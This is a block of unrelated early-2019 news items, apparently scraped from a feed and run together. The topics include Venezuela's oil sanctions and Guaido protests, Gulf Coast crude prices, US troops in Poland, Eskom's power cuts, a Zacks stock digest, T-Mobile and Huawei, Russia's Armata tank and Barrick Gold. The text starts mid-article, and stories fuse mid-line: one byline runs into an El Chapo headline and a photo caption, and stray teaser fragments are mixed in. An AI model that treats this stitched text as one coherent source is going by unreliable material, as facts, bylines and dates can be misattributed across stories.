The last cargo containing fuel oil for Rosneft left Venezuela for Asia on Jan. 30-31, containing around 1 million barrels, according to a trading source close to PDVSA and the Russian firm.

"PDVSA supplies to Rosneft or its subsidiaries in India under deals clinched before the sanctions are not falling under the sanctions," said Natalia Abtseshko, head of the international projects group at Moscow law firm Vegas Lex.

Nayara received 69,200 bpd of Venezuelan crude last year, down from 87,700 bpd in 2017, Refinitiv Eikon data shows.

When cargoes started to arrive irregularly last year, Rosneft CEO Igor Sechin flew to Caracas to complain to Maduro, Reuters sources have said.

PDVSA and Rosneft did not respond to Reuters requests for comment.

A representative of the U.S. Office of Foreign Assets Control (OFAC), part of the Treasury Department, declined to comment on whether Rosneft would be able to continue to receive PDVSA oil under their oil-for-payment deal.

About 9 million barrels were stuck in tankers waiting for payment or discharge instructions last week, Refinitiv Eikon data showed.

Most are anchored off the U.S. Gulf Coast as Venezuelan opposition leader and self-proclaimed president Juan Guaido moves to set up escrow accounts to receive proceeds.

(Reporting by Collin Eaton in HOUSTON, Marianna Parraga in MEXICO CITY and Gleb Gorodyankin in MOSCOW; additional reporting by Nidhi Verma in NEW DELHI; Olga Yagova, Oksana Kobzeva, Olesya Astakhova, Vladimir Soldatkin and Natalia Chumakova in MOSCOW; Tim Gardner and David Gaffen; in WASHINGTON; Henning Gloystein in SINGAPORE; editing by Gary McWilliams and Jason Neely)Drug lord, escape artist 'El Chapo' convicted by U.S. jury

The worlds most infamous cartel boss Joaquin El Chapo Guzman, who rose from poverty in rural Mexico to amass billions of dollars, was found guilty in a U.S. court on Tuesday of smuggling tons of drugs to the United States over a violent, colourful, decades-long career.FILE PHOTO: Cutouts depicting images of oil operations are seen outside a building of Venezuela's state oil company PDVSA in Caracas, Venezuela January 28, 2019. REUTERS/Carlos Garcia Rawlins

By Marianna Parraga and Deisy Buitrago

(Reuters) - Foreign partners of Venezuela's PDVSA are facing pressure from the state-run oil firm to publicly declare whether they will continue as minority stakeholders in Orinoco Belt projects following U.S. sanctions, three people familiar with the matter said.

The sanctions on Petroleos de Venezuela (PDVSA), imposed last month in an attempt to dislodge Venezuelan President Nicolas Maduro, barred access to U.S. financial networks and oil supplies for the PDVSA joint ventures, pressuring the nation's already falling crude output and exports.

PDVSA's Orinoco Belt joint venture partners, mostly U.S. or European companies, are facing difficulties getting cash-flow out of the country as a result of the sanctions, straining their ability to continue output and exports.

PDVSA has been in talks with the companies to persuade them to commit publicly to the joint ventures, the sources said in recent days.

PDVSA did not reply to a request for comment. On Monday, Venezuelan Oil Minister and PDVSA head Manuel Quevedo said on a visit to India that relations with international oil companies including Chevron were continuing.

France's Total SA, Norway's Equinor ASA, Russia's Rosneft and U.S.-based Chevron hold minority stakes in joint ventures with PDVSA that produce crude and operate oil upgraders capable of converting the country's extra-heavy oil into exportable grades.

The four crude upgraders are capable of converting up to 700,000 barrels per day. The oil is exported by the joint ventures and each partner receive its share of the exports.

Total believes it can stay in Venezuela, its Chief Executive Patrick Pouyanne said on Monday, although the firm last week said its bank accounts were blocked and it had evacuated its foreign employees.

Rosneft has continued working normally at its Petromonagas joint venture with PDVSA, according to the sources.

Equinor declined to comment on operational issues, referring questions to Petrocedeno, its joint venture with PDVSA. Chevron did not immediately reply to a request for comment.

Story continues

PDVSA last week ordered Petrocedeno to halt oil production and upgrading, due to a lack of naphtha to dilute the extra-heavy crude, according to sources from the project.

The Petrocedeno-PDVSA venture's 220,000-bpd upgrader was already out of service when the decision was made, one of the people said. It is unclear when oil output will be halted.

PDVSA is studying if the other joint ventures in the Orinoco will have to halt operations, with diluent supplies dwindling, the people said.

India's Reliance and PDVSA's U.S. unit Citgo Petroleum are the main suppliers of naphtha to Venezuela, according to internal PDVSA data. Those flows have declined since sanctions took effect on Jan. 28, according to Refinitiv Eikon data.

(Reporting by Marianna Parraga in Mexico City and Deisy Buitrago in Caracas; additional reporting by Nerijus Adomaitis in Oslo, Editing by Rosalba O'Brien)CARACAS, Feb 12 (Reuters) - Venezuela's opposition supporters will take to the streets nationwide on Tuesday to keep up the heat on embattled President Nicolas Maduro and to call on him to let humanitarian aid into the country where food and medicine shortages are rife.

The rallies will take place nearly three weeks to the day that opposition chief Juan Guaido invoked a constitutional provision to declare himself Venezuela's legitimate president, arguing that Maduro's re-election last year was a sham.

Most Western counties including the United States have recognized Guaido as Venezuela's president, but Maduro retains the backing of powerful nations like Russia and China as well as control of state institutions including the military.

The two sides are now at loggerheads over the issue of humanitarian aid, which the opposition says has become necessary due to Maduro's mishandling of the once-buoyant OPEC nation's economy.

The 35-year-old Guaido is coordinating Western relief efforts. Maduro, who denies there is a crisis, denounces the aid as a U.S.-orchestrated show and is blocking the entry of supplies.

"We will return to the streets ... to demand the entry of humanitarian aid that will save the lives of more than 300,000 Venezuelans that today are at risk of dying," Guaido told his 1.25 million Twitter followers late on Monday. "This is a time to unite and fight!"

Guaido has vowed that the opposition, which he has re-galvanized, will keep protesting in order to keep up pressure on Maduro to step down so new presidential elections can be held.

Maduro's critics had staged two previous major rounds of protests against what they call his dictatorship, the last in 2017, which subsided in the wake of a government crackdown.

The current wave kicked off on Jan. 23, with a massive protest in Caracas during which Guaido was sworn in as president in front of thousands of supporters.

The ruling Socialists, who have been in power for two decades, said they would also hold a rally in Caracas on Tuesday, to "demand respect of the fatherland's sovereignty."

Story continues

Guaido announced on Monday the first delivery of humanitarian aid - vitamin and nutritional supplements for children and pregnant women - to a network of health centers, without explaining how it had made its way into the country.

Guaido said it was a small-scale donation given that the government has so far blocked deliveries from an aid collection point in the Colombian border town of Cucuta.

Guaido has appealed to the military to disobey orders and let aid in, after previously promising them amnesty. That would spell the beginning of the end for Maduro, analysts say, though there is no sign to date of it happening.

Maduro's adversaries say he has run roughshod over democratic institutions and ravaged the nation's economy through nationalizations and a corruption-riddled exchange control system. (Reporting by Sarah Marsh; Editing by Leslie Adler)HOUSTON/NEW YORK, Feb 13 (Reuters) - U.S. Gulf Coast crude prices climbed sharply this week after fog-related port closures slowed the nation's crude imports and as supplies rose at the U.S. storage hub in Cushing, Oklahoma, traders and analysts said on Wednesday.

Buyers bid up U.S. coastal grades like Light Louisiana Sweet and Mars Sour after imports fell to the lowest in more than two decades last week, the result of several days-long Gulf Coast port closures, refinery maintenance and slumping Canadian crude-by-rail shipments, traders said.

Coastal grades were also driven higher by expectations of rising supplies at Cushing, which has widened the spread between U.S. crude and global benchmark Brent as unexpected refinery issues add to already high inventories.

Light Louisiana Sweet (LLS), a coastal crude grade delivered into St. James, Louisiana, firmed to an $8.75 per barrel premium to U.S. crude futures on Monday, the strongest since early November. The price edged lower to $8.35 over WTI on Wednesday, but still traded well above previous weeks.

"That wider LLS discount is (also) driven by cheaper barrels in Oklahoma," said Matthew Blair, an analyst at investment bank Tudor, Pickering, Holt & Co.

Mars Sour traded at a $7.60 premium on Monday, the strongest in five years. It also was slightly lower on Wednesday.

Net U.S. crude imports dropped to 3.8 million barrels per day last week, the lowest amount on record, down by 430,000 bpd compared to the prior week, according to U.S. Energy Information Administration data released on Wednesday.

Houston Pilots and the Galveston-Texas City Pilots, which guide tankers to Houston-area ports, suspended boardings for several days because of dense fog clouding Gulf ports, the U.S. Coast Guard said.

A decline in Canadian crude by rail cargoes to the United States also helped prop up Gulf Coast grades, traders said. The nation's overall imports from Canada fell 511,000 bpd to 3.19 million bpd last week, the EIA data showed.

Story continues

The government of Alberta, Canada's mandated production cuts in December lifted depressed Canadian heavy crude prices.

Alberta's cuts "have closed the rail play," one trader said. "Some big players who were moving sizeable volumes are down to next to none. Costs are just too high versus demand."

LLS for delivery in the second quarter traded at $6.20 over the U.S. benchmark. The grade could weaken further as Energy Transfer LP's Bayou Bridge pipeline delivering light sweet crude from Texas to St. James is expected to come into service in coming weeks, traders said. (Reporting by Collin Eaton in Houston, Laila Kearney and Devika Krishna Kumar in New York; Editing by Tom Brown)* Pompeo says US weighing increase in troops in Poland

* Poland signs deal for artillery rocket system

* Warsaw jittery over Russian assertiveness in east Europe (Adds Pompeo, background)

By Lesley Wroughton and Joanna Plucinska

WARSAW, Feb 13 (Reuters) - The United States is in talks with Poland over Warsaw's request for more American troops on its soil, but no decision has been taken so far, U.S. officials said on Wednesday, as Washington weighs potential military threats from Russia.

Poland asked President Donald Trump last year for a permanent base to complement U.S. troops already present in Poland as part of a rotating NATO deployment in eastern Europe.

"We are taking a look at it and I don't know the ultimate decision we'll make," U.S. Secretary of State Pompeo told reporters during a visit to the Orzysz military base in northeastern Poland, part of his tour of central Europe to bolster U.S. diplomatic engagement in the region.

"But we will make sure we have not only the right number of troops but the right mix of folks out here to do the work that Europe needs and NATO needs and that America needs," he said.

Set up in 2017, the Orzysz base is located about 57 km (35 miles) south of Russias Baltic Sea enclave of Kaliningrad, where Moscow has stationed nuclear-capable missiles and an S-400 air missile defence system.

Earlier on Wednesday, the Financial Times quoted the U.S. ambassador to Poland, Georgette Mosbacher, as saying the troop numbers would be raised.

Asked whether the increase would run into the hundreds or thousands, Mosbacher was quoted by the newspaper as saying: "It will be significant. It passes the hundred mark, the hundreds mark."

However, the Pentagon said it was too early to say.

"Any speculation on troop increases or agreements at this point is unfounded," Eric Pahon said in a statement. "No agreements have been reached. We are continuing discussions and will announce the results of our talks at the appropriate time."

Story continues

FLUCTUATING NUMBERS

The number of U.S. troops in Poland is capped at 4,500 but it fluctuates as formations rotate.

Poland, alarmed by Russia's assertiveness on NATO's eastern flank, has lobbied hard for the stationing of NATO troops on its soil, especially since Moscows annexation of Crimea in 2014.

Addressing troops at Orzysz - mostly from the United States but also from other NATO members such as Croatia, Romania and Britain - Pompeo said the alliance needed to counter Moscow.

"As we enter the fifth year of (Russian President) Vladimir Putin's war on Ukraine  a war he launched on European soil  we take seriously those concerns that Russia may one day try to open a front along the line right here," Pompeo said.

In Warsaw, Polish Defence Minister Mariusz Blaszczak signed a deal to purchase 20 High Mobility Artillery Rocket System (HIMARS) from Lockheed Martin, in a ceremony at a Warsaw airbase attended by U.S. Vice President Mike Pence.

Pence is in Warsaw to lead the U.S. delegation at a conference of foreign ministers on Middle East issues, where Washington aims to ratchet up pressure on Iran..

Poland's conservative government hopes to bolster ties with the Trump administration, as it faces mounting isolation in the European Union over its democratic record. It agrees with Trump on issues such as migration, climate change and coal mining.

Trump came to Warsaw in 2017 as part of his second trip to Europe as president, in a major diplomatic coup for the Law and Justice government, which has been in power since 2015. (additional reporting by Idrees Ali in Brussels, Alan Charlish, Pawel Florkiewicz and Marcin Goclowski in Warsaw; Writing by Justyna Pawlak; Editing by Hugh Lawson and Gareth Jones)BEIRUT, Feb 13 (Reuters) - The United States delivered laser-guided rockets valued at more than $16 million to the Lebanese military on Wednesday, demonstrating what it said was Washington's "firm and steady commitment" to Lebanon's army.

The United States has supplied the Lebanese military with more than $2.3 billion in assistance since 2005, aiming to support it as "the sole, legitimate defender" of a country where the heavily armed, Iran-backed Hezbollah holds major sway.

A statement from the U.S. embassy in Beirut said the missiles, delivered in a U.S. military transport plane, were a key component for a previously supplied fleet of A-29 Super Tucano attack aircraft.

Iranian Foreign Minister Mohammad Javad Zarif, during a visit to Lebanon this week, reiterated his country's long-standing offer of support to the Lebanese army but said Lebanon had first to show "a desire" to accept it.

The leader of Hezbollah, which is listed as a terrorist group by Washington, said last week he was ready to secure air defence systems for the Lebanese army from Iran and to bring it "everything it wants to be the strongest army in the region".

Hezbollah's Sayyed Hassan Nasrallah asked why Lebanon was "ignoring" Iran while "offering our necks to others" - an apparent reference to the United States, which has tightened sanctions against his group.

Hezbollah's direct role in government has expanded in the new cabinet led by the Western-backed Prime Minister Saad al-Hariri, assuming control of three portfolios including the health ministry, which has a major budget.

(Writing by Tom Perry; editing by John Stonestreet)Computer operator serving as acting judge in Mugu

On February 1, Mugu District Court released four rape suspects on Rs 50,000 bail. The order was not issued by a judge but by a computer operator at the court.South Africa: President to sign the Competition Amendment Bill into law

President Cyril Ramaphosa will today sign into law the Competition Amendment Bill, which will strengthen regulations against anti-competitive behaviour in industrial markets.

The bill, which was approved by the National Assembly in October 2018 and endorsed by the National Council of Provinces in December 2018, is a step in the right direction for SMEs, economic inclusion and it opens up the economy to fresh investment and innovation.

It also provides a clear mandate to the competition authorities to address economic concentration in a balanced manner and to promote economic transformation, the Presidency said on Monday.

The bill provides greater clarity to firms and investors on prohibited practices and what constitutes abuse of dominance.

Another expected benefit is improved administrative efficiencies in the work of the competition authorities and facilitative powers to the executive, the Presidency explained.



Additionally, the amended legislation seeks to combat concentration and economic exclusion as core challenges that contribute to slower and less dynamic growth, lower employment and greater inequalities, as well as socio-political conflict.



The Presidency said this will enable a more effective approach to concentration, with a focus on improving outcomes for small and black-owned business, and strengthen the institutions involved in managing competition policy and law.



These changes are in the long-term interest of both business and organised labour and benefit small to medium-sized companies through a pro-growth, transformation model that can help lift investment and advance economic inclusion, the Presidency said.



The signing ceremony will take place this afternoon at the Tuynhuys Chambers in Parliament. Economic Development Minister Ebrahim Patel, who campaigned fiercely for the bills codification, will join the ceremony along with a group of stakeholders.  SAnews.gov.za

This story has been published on: 2019-02-13. To contact the author, please use the contact details within the article.Wednesday, February 13, 2019

The Zacks Research Daily presents the best research output of our analyst team. Today's Research Daily features new research reports on 16 major stocks, including ExxonMobil (XOM), Merck (MRK) and Danaher (DHR). These research reports have been hand-picked from the roughly 70 reports published by our analyst team today.

You can see all of todays research reports here >>>

ExxonMobils shares have underperformed the Zacks Integrated International Oil industry (-2.6% vs. -0.1%) over the past three months. ExxonMobil has a leading position in the energy industry owing to its size and diverse asset base, both in terms of business mix and geographical footprint.

With a stable cash position, the companys balance sheet is one of the best in the industry. The Zacks analyst thinks this has allowed ExxonMobil to reward stockholders with a 6.3% average annual dividend hike over the past 35 years. The company owns some of the most prolific upstream assets globally along with the largest global refining operations. Notably, with two fresh offshore oil discoveries in Guyana, ExxonMobil recently completed 12 key discoveries in the Stabroek Block, driving the firms future production.

However, persistent weakness in chemicals margins and decline in seasonal demand for gasoline are major headwinds for ExxonMobil. The companys exit from a joint venture in Russia is also concerning.

(You can read the full research report on ExxonMobil here >>> ).

Shares of Merck have gained +43% in the past year, significantly outperforming the Zacks Large Cap Pharmaceuticals industry, which has increased +6.4% over the same period. Merck beat estimates for earnings and sales in Q4. The Zacks analyst thinks new products like Keytruda, Lynparza, and Bridion are contributing meaningfully to the top line.

Keytruda sales are gaining momentum with approval for additional indications, especially in first-line lung cancer setting. Keytruda has strong growth prospects based on increased utilization, recent approvals for new indications and potential additional approvals worldwide. Animal health and vaccine products are also performing strongly and remain core growth drivers for Merck.

Story continues

The company will continue to focus on cost-cutting initiatives to drive the bottom line. However, generic competition for several drugs and pricing pressure will continue to be overhangs on the top line. Rising competitive pressure on the diabetes franchise and products like Isentress (HIV), Zepatier (HCV) and Zostavax (vaccine) remain a concern.

(You can read the full research report on Merck here >>> ).

Danahers shares have gained +10.5% over the past six months, outperforming the Zacks Diversified Operations industry, which has declined -4.2% over the same period. Danaher's fourth-quarter 2018 earnings and revenues both surpassed expectations by 0.8%. The Zacks analyst thinks strong demand for innovative products will continue to drive its revenues in the quarters ahead.

Also, robust top-line performance and effective Danaher Business System ("DBS") implementation will likely bolster profitability. Moreover, the company anticipates that the acquisition of Integrated DNA Technologies and divestiture of its dental business will boost its competency. However, the company's shares currently look overvalued compared with the industry.

Rising cost of sales remains a major cause of concern. Further, extensive governmental regulations on import laws, export control, economic sanctions laws and unfavorable movements in foreign currencies might continue to restrict Danaher's growth.

(You can read the full research report on Danaher here >>> ).

Other noteworthy reports we are featuring today include Motorola (MSI), Novartis (NVS) and Expedia (EXPE).

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Note: Sheraz Mian heads the Zacks Equity Research department and is a well-regarded expert of aggregate earnings. He is frequently quoted in the print and electronic media and publishes the weekly Earnings Trends and Earnings Preview reports. If you want an email notification each time Sheraz publishes a new article, please click here>>>

Today's Must Read

Stabroek Block Aids ExxonMobil (XOM), Chemical Margins Weak

New Drugs Drive Merck's (MRK) Sales as Competition Soars

Solid Life Sciences Business, Buyouts to Drive Danaher (DHR)

Featured Reports

Organic Growth, Extensive Market Reach Aid Eaton (ETN)

Per the Zacks analyst Eaton's organic growth across segments is driven by improvement in end market conditions coupled with orders from 175 countries across the globe, which ensures strong performance

Downstream Unit Aids Imperial (IMO), Chemicals Business Ails

While low-cost feedstock and strong operations are buoying the downstream segment of Imperial Oil, the Zacks analyst is worried about weak margins in the firm's chemical unit.

Higher Premiums Aid Arch Capital (ACGL), High Costs Ail

Per the Zacks analyst, premium growth, owing to higher premiums written across the segments, continues to drive Arch Capital's results. However, rising expenses raise concerns.

Higher Revenues Aid Arthur J. Gallagher (AJG), High Cost Ail

Per the Zacks analyst, the company is poised for growth on improving revenues supported by strong performing Brokerage and Risk Management segments.

Lackluster iPhone Sales, China Weakness Hurts Apple (AAPL)

Per the Zacks analyst, Apple is being hurt by waning macroeconomic conditions in China that together with intensifying competition is dragging down iPhone sales.

Strong Demand, DuPont Asset Buyout to Aid FMC Corp (FMC)

While FMC faces currency and input cost headwinds, it will gain from DuPont's crop protection asset buyout and strong demand for its herbicide and insecticide products in 2019, per the Zacks analyst.

Acquisitions, Assets Balance Aid Invesco (IVZ), Costs a Woe

Per the Zacks analyst, inorganic growth strategy, solid assets under management balance and global presence will aid Invesco.

New Upgrades

Motorola (MSI) Rides on Healthy Growth Dynamics, View Bullish

Per the Zacks analyst, Motorola expects to augment its leading position in the public safety domain by collaborating with other players in the ecosystem and has offered a bullish view on solid demand.

Expedia (EXPE) Benefits From Strengthening Gross Bookings

Per the Zacks analyst, Expedia's robust gross bookings owing to rising stayed nights and well-performing HomeAway, Brand Expedia and Expedia Partner Solutions are driving its top-line growth.

Higher Barbie Sales & Cost-Savings Effort Aid Mattel (MAT)

The Zacks analyst notes that Mattel's cost savings initiatives have been boosting earnings growth of late. Also, higher sales at the company's flagship Barbie brand is helping the topline.

New Downgrades

Weak Generic Business and Competition Hurt Novartis (NVS)

Per the Zacks analyst, a slowdown in the generic division due to pricing pressure, pipeline setbacks and competition for key drugs weighs on Novartis. The outlook for 2019 was disappointing.

Match Group (MTCH) Hurt by Higher Investments & Debt Burden

Per the Zacks analyst, higher investments in Tinder along with higher-than-expected data costs and professional fees might limit margin expansion. Further, highly leveraged balance sheet is a concern.

Soft Volumes in U.S. & Canada Hurts Molson Coors' (TAP) Sales

Per the Zacks analyst, Molson Coors' sales in Q4 were hurt by lower volume in the U.S. and Canada, driven by challenging industry trends in these countries, which should continue in 2019.



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Novartis AG (NVS) : Free Stock Analysis Report



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To read this article on Zacks.com click here.



Zacks Investment Research(Bloomberg) -- T-Mobile US Inc. Chief Executive Officer John Legere says his company doesnt use equipment from Huawei Technologies Co., and wont after buying Sprint Corp. to form a bigger No. 3 in the U.S. wireless market.

Let me be clear - we do not use Huawei or ZTE network equipment in any area of our network. Period. And we will never use it in our 5G network, Legere said in written testimony prepared for a hearing Wednesday before the House communications subcommittee.

The statement is in response to critics whove raised the issue of the Chinese equipment maker as a risk to national security to build opposition to the proposed $26.5 billion merger.

Sprint parent SoftBank Group Corp. has significant ties to Huawei, as does T-Mobile parent Deutsche Telekom AG, according to Carri Bennet, general counsel for the Rural Wireless Association that represents smaller competitors to the merging parties. Huawei supplies Deutsche Telekom, according to data compiled by Bloomberg.

Allowing a Japanese-influenced company and German-influenced company to merge when both have significant 5G ties to Huawei appears to run counter to U.S. national security concerns, Bennet said in testimony submitted for the hearing.

Lawmakers and the administration of President Donald Trump say Huawei poses a potential security threat, if only because it cant buck orders from Chinas government, and Secretary of State Michael Pompeo this week urged Europeans to shun the Shenzhen-based company.

Huawei says its privately held, doesnt take orders from the Beijing government, and wouldnt do so because that would ruin its business that relies on income worldwide.

The Federal Communications Commission is considering whether to effectively ban Huawei from U.S. networks; already the companys gear is effectively limited to small providers attracted by low prices.

Still, critics bring up Huawei and perils that are likewise ascribed to ZTE Corp., another Chinese gear maker.

Story continues

T-Mobile, Sprint, and their parent companies refuse to commit to the American public not to use the Chinese companies in building 5G infrastructure if allowed to merge, Protect Americas Wireless, a group that has held several news conferences critical of the merger, said in a Tuesday press release. The group has refused to disclose its backers.

Legere seemed to have the group in mind.

Opponents of the transaction have set up a shadowy group that refuses to disclose its donors, to lob allegations that this transaction will allow Huawei and ZTE into U.S. networks, the T-Mobile chief said in his testimony. Thats false, and they know it is.

A U.S. watchdog group that checks the national security implications of deals -- the Committee on Foreign Investment in the U.S., or Cfius -- has approved the proposed merger, the companies said in December.

Its not clear how much weight the security concerns will carry in the debate. Nine U.S. senators in a Tuesday letter raised other consequences as they urged the FCC and Justice Department to kill the deal. Problems include less competition, higher bills, and lost jobs, the lawmakers said.

Legere argues that the merger will produce more jobs, lower prices and competition for market leaders AT&T Inc., Verizon Communications Inc. and even cable providers such as Comcast Corp. Sprint Executive Chairman Marcelo Claure in prepared testimony said the merger will give the combined company resources to build a transformative 5G network offering high speeds.

The decision on whether the deal can go ahead wont rest with lawmakers, but with regulators at the FCC and Justice Department, who are influenced by Congress. Wall Street seems less than sanguine: the premium, a measure of how risky traders perceive a deal to be be, has risen steadily since early October.

In Germany, Chancellor Angela Merkels government has ruled out an outright ban targeting Huawei. Deutsche Telekom has warned that Europe would fall behind the U.S. and China in 5G with such a move, according to people familiar with an internal briefing paper from the company.

(Updates with German governments position in final paragraph.)

To contact the reporter on this story: Todd Shields in Washington at tshields3@bloomberg.net

To contact the editors responsible for this story: Jon Morgan at jmorgan97@bloomberg.net, John Harney

For more articles like this, please visit us at bloomberg.com

2019 Bloomberg L.P.* Ministry warns of Eskom liquidity challenges

* Eskom cuts power for 4th straight day

* Gordhan rules out privatisation (Updates after ministry changes presentation)

By Olivia Kumwenda-Mtambo and Wendell Roelf

JOHANNESBURG/CAPE TOWN, Feb 13 (Reuters) - South African power utility Eskom needs a cash injection by April to survive, the country's public enterprises ministry warned in a presentation on Wednesday, although it later changed its wording to say the firm was "facing liquidity challenges".

State-owned Eskom, which supplies more than 90 percent of the power in Africa's most industrialised economy, cut electricity for a fourth straight day on Wednesday.

Eskom is laden with more than $30 billion of debt and is battling a shortage of capacity that threatens to derail government plans to lift the sluggish economy.

President Cyril Ramaphosa said last week that the government would support Eskom's balance sheet but said details would be announced in a budget speech by the finance minister on Feb. 20.

The department of public enterprises, which oversees Eskom, said in a presentation to parliament that Eskom was technically insolvent and would "cease to exist" at the current trajectory by April, unless it gets a bailout.

The ministry later sent a version of the same presentation to journalists which it said had been corrected, which removed the timeframe and in which it substituted the words "will cease to exist" with "is facing liquidity challenges". A ministry spokesman did not answer calls seeking an explanation.

Analysts say Eskom no longer generates enough cashflow or earnings to meet its debt-servicing costs, putting it at risk of default.

Public Enterprises Minister Pravin Gordhan, however, ruled out privatisation of the utility.

Fears over Eskom's financial viability drove the rand 1.5 percent weaker against the U.S. dollar.

The yield on the benchmark government bond, which moves inversely to its price, was up 2.5 basis points as investors fretted about the economic impact of a crisis which could see South Africa lose its remaining investment grade credit rating.

Story continues

"With Eskom in the midst of trying to find a solution to its financing needs, investors are more nervous as to what this means to (rating agency) Moody's," Citi economist Gina Schoeman said in a note.

"Markets are highly sensitive to even a negative outlook decision because of how close this places South Africa to a WGBI-exit and inevitable ZAR depreciation and increased vulnerabilities," she added, referring to the World Government Bond Index (WGBI).

Moody's, the only one of the "big three" agencies to rate South Africa at investment grade, is scheduled to review the sovereign on March 29.

South Africa is rated "junk" by S&P Global Ratings and Fitch and if Moody's joins them, the country will be booted out of the WGBI, which may prompt investors to dump its assets.

FRUSTRATION

The public enterprises department said on Wednesday that Eskom was struggling to keep its mainly coal-fired plants running due to coal shortages and poor maintenance, with 40 percent of breakdowns a result of human error.

The cash-strapped company said it would cut 3,000 megawatts (MW) of power from the national grid from 0600 GMT on Wednesday, likely until 2100 GMT. This follows a similar cut on Tuesday and 4,000 MW on Monday in the worst power cuts seen in several years that drove the rand currency down on Monday.

The power cuts have led to frustration among ordinary South Africans with traffic gridlock in major cities during rush hours as traffic lights stop working and some mothers struggling to feed their children.

"I have a baby, so making her bottles was a challenge because I had nowhere to boil water, which resulted in me having to go to a restaurant that has a generator just to get boiling water," 28-year old Anazi Zote, mother of a 10 month-old daughter, told Reuters.

Business owners with no access to backup power sources have also been hit.

"From work to home to everywhere. At the moment the lights are off and we are using the stairs because the elevator isn't working, and I'm on the 11th floor  it's frustrating," Leroy Erasmus, 25, a risk and surveying consultant, told Reuters.

Firms in the mining sector, the backbone of the country's economy, are looking at alternatives to reduce their dependence on Eskom and monitoring the situation closely.

"Extended load-shedding (power cuts) would have a severe impact on the viability of mines, particularly deep-level gold and platinum mines," said Charmane Russell, a spokeswoman for South Africa's mining body.

Harmony Gold said on Tuesday that it was in talks to build a 30 MW solar plant to supply power to some of its assets, in an effort to cut its electricity costs and dependence on Eskom.

Gordhan said the government was worried about the impact the power outages could have.

"The Eskom board is taking steps to ensure that load shedding (power cuts) doesn't become a permanent feature of South Africa this year," he said.

(Additional reporting by Emma Rumney and Alexander Winning in Johannesburg, and Zandi Shabalala in London Editing by Emelia Sithole-Matarise and Elaine Hardcastle)Averting hospital-acquired infection a major challenge

A major concern among healthcare providers in Kathmandu is hospital-acquired infections. Patients with already weakened immunity always face the risk of picking up infectionsPhoto credit: China News Service - Getty Images

From Popular Mechanics

Russias brand-new T-14 Armata main battle tank will finally enter service in 2019, but in numbers far fewer than originally anticipated. The manufacturer will deliver twelve Armatas and four armored recovery vehicle variants by the end of 2019. Thats far short of the thousand or more tanks that were originally supposed to be in service by now.

In 2015, Russia unexpectedly debuted a new main battle tank. Known as T-14 Armata, the tank was a break from previous Russian Army tanks and Moscows first clean sheet tank design in decades. Western media tabloids predicted that the tank was 20 years ahead of anything in the West." The head of the Russian Ground Forces at the time, Colonel-General Oleg Salyukov, told state media that Russia would have 2,300 Armatas by 2020, by which time it would comprise 70 percent of Russias tank inventory.

Photo credit: NATALIA KOLESNIKOVA - Getty Images

Now, in early 2019, its being revealed that Russia will have only 12 Armatas by 2020. Russian tank company Uralvagonzavod will deliver 12 T-14s and 4 T-16 BREM tank recovery vehicles by the end of 2019. That will leave the Russian Ground Forces 2,288 tanks short of their stated goal. According to a January 2018 report , the 1st Guards Tank Army based in the Moscow, the 20th Guards Combined Arms Army, and the 8th Guards Combined Arms Army will receive the tanks.

Whats behind this slowdown in Aramata deliveries? Cost and development delays are two likely culprits. As a new generation tank Armata is bound to have issues cropping up with test tanks, although that testing was supposed to have been completed by 2016. Russia, under sanction for the occupation of the Crimea and other activities by NATO and the United States, is also likely having trouble sourcing parts. Flat panel screens, for example, are used throughout Armatas interior but are not produced internally within Russia.

Photo credit: Handout - Getty Images

Instead of a vast fleet of new tanks, Russia is upgrading new ones. T-72 tanks are being upgraded to the new T-72B3 standard, and the Russian Army will lean heavily on existing inventories of newer, T-90A/M tanks. Russia will even reportedly refurbish 1980s-era T-80 tanks to the upgraded T-80BV standard for use in Arctic regions, where their gas turbine engines will function better in the winter cold.

Story continues

Armata is the first truly modern tank design to come from Russia from decades. The tank is larger than existing Russian tanks and features both active and passive systems to defend against anti-tank missiles. Unlike previous tanks, Armatas three man crew sits in the hull and the turret is unmanned. Armatas Afghanit hard kill defense system is also reportedly useful against high velocity anti-tank rounds. The 125-millimeter 2A82-1M main gun can penetrate modern NATO tank armor and could be upgraded in the future to a larger caliber weapon.

Source: Izvestia

('You Might Also Like',)All amounts expressed in U.S. dollars unless otherwise indicated

TORONTO, Feb. 13, 2019 (GLOBE NEWSWIRE) -- Barely six weeks after its merger with Randgold, Barrick (GOLD)(ABX.TO) is making good progress in achieving its short-term priority goals as well as its full year objectives, president and CEO Mark Bristow said here today.



Bristow, who has already visited most of the groups operations in the Americas, some of them twice, said one of his first priorities had been to establish regional executive teams for North America, Latin America, and Africa and the Middle East. These are now in place and are already making a significant impact on the way Barrick operates.

He announced that Barricks production guidance for 2019 was between 5.1 and 5.6 million ounces of gold and between 375 and 430 million pounds of copper. During 2019, the reserves and resources of newly-acquired Randgold will be combined with Barricks on the basis of common calculation criteria, and will be reported on that basis at the end of the year.

Turning to the operations, the higher cost of sales1 guidance for gold in 2019, of $880-$940 per ounce and all-in sustaining costs2 guidance of $870-$920 per ounce, primarily reflects the planned completion of mining at the comparatively high-grade, low-cost Cortez Hills open pit in the first half of the year. Lower costs at Turquoise Ridge, as well as the addition of lower-cost production from Loulo-Gounkoto and Kibali, are expected to partially offset this impact in 2019. Higher grades, improved efficiencies, and tight cost discipline are expected to reverse this trend over the next two to three years.

Bristow said the Nevada assets, including Turquoise Ridge, were now being operated as a single complex, and were already delivering efficiencies. Still in Nevada, the recent Fourmile discovery has now been combined with the nearby Goldrush in a single project which has the potential to become Barricks next Tier One3 gold mine. Shaft sinking and construction at Turquoise Ridge is also on track, and along with a focus on improved efficiencies and cost discipline, it too has the potential for Tier One status.

Story continues

In Argentina, a concerted effort to drive Veladero back to Tier One status is under way as Barrick looks to expand its Latin American business. At Pueblo Viejo in the Dominican Republic, a scoping study and pilot plant support the expansion of what is already one of the worlds largest open pit gold mines. Bristow said there was a renewed focus on exploration across the groups Latin American portfolio.

The core African assetsthe Loulo-Gounkoto complex in Mali, and Kibali in the Democratic Republic of Congocontinue to reinforce their Tier One status, and both are maintaining the grade of their reserves. The feasibility study on the Massawa project in Senegal has been completed, and an application for a mining permit has been submitted to the government.

Bristow said the company was continuing to engage in constructive discussions with the Tanzanian government on the impasse regarding Acacia, and noted that it was in the interest of all stakeholders, including the government, to find a solution to this issue.

On the new business front, Bristow said Nevada was a destination with enormous upside through brownfield extensions, new discoveries, and combination opportunities with other operators in the area. The recently-announced strategic alliance with, and additional investment in, Reunion Gold opens up a new frontier for Barrick in the Guiana Shield. Exploration continues across the groups global portfolio.

